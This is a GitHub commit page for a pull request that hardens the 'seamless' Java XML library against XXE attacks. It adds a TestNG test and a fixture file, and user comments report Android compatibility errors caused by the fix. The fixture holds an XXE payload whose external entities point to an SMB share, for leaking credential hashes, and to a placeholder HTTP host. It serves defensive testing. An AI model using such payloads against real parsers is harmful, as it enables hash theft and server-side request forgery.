-
Notifications
You must be signed in to change notification settings - Fork 38
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #10 from mpiggott/9_fix-xxe
Configure parser factories to prevent XXE attacks
- Loading branch information
Showing
4 changed files
with
80 additions
and
7 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
50 changes: 50 additions & 0 deletions
50
xml/src/test/java/org/seamless/test/xml/SAXParserTest.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
/* | ||
* Copyright (C) 2018 Matthew Piggott | ||
* | ||
* The contents of this file are subject to the terms of either the GNU | ||
* Lesser General Public License Version 2 or later ("LGPL") or the | ||
* Common Development and Distribution License Version 1 or later | ||
* ("CDDL") (collectively, the "License"). You may not use this file | ||
* except in compliance with the License. See LICENSE.txt for more | ||
* information. | ||
* | ||
* This program is distributed in the hope that it will be useful, | ||
* but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. | ||
*/ | ||
package org.seamless.test.xml; | ||
|
||
import static org.testng.Assert.assertTrue; | ||
import static org.testng.Assert.fail; | ||
|
||
import java.io.IOException; | ||
import java.io.InputStream; | ||
|
||
import org.seamless.xml.ParserException; | ||
import org.seamless.xml.SAXParser; | ||
import org.testng.annotations.Test; | ||
import org.xml.sax.InputSource; | ||
|
||
/** | ||
* @author Matthew Piggott | ||
*/ | ||
public class SAXParserTest { | ||
|
||
@Test | ||
public void testXxe() throws IOException { | ||
SAXParser parser = new SAXParser(); | ||
|
||
InputStream in = null; | ||
try { | ||
in = getClass().getResourceAsStream("/org/seamless/test/xml/xxe.xml"); | ||
parser.parse(new InputSource(in)); | ||
fail("Expected exception thrown"); | ||
} catch (ParserException e) { | ||
assertTrue(e.getMessage().contains("DOCTYPE is disallowed")); | ||
} finally { | ||
if (in != null) { | ||
in.close(); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
<?xml version="1.0" encoding="ISO-8859-1"?> | ||
<!DOCTYPE foo [ | ||
<!ELEMENT foo ANY > | ||
<!ENTITY xxe SYSTEM "file://///$smbServer/smb/hash.jpg" > | ||
<!ENTITY xxe-url SYSTEM "http://$localIp:$localPort/ssdp/xxe.html" > | ||
]> | ||
<hello>&xxe;&xxe-url;</hello> |
1 comment
on commit 74e6678
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i run it with sdk 32, when run to factory.setXIncludeAware(false);
, it cases UnsupportedOperationException, how to resolve it?
seem this exception is throwed by android sdk,
is there other method to resolve it than using the letter version of sdk?
This causes: org.xml.sax.SAXNotRecognizedException: http://apache.org/xml/features/disallow-doctype-decl
On Android as disallow-doctype-decl is only in the Sax parser since: Xerces-J 2.3.0
Which subsequently means version 2.1.2 of Cling fails to show any devices.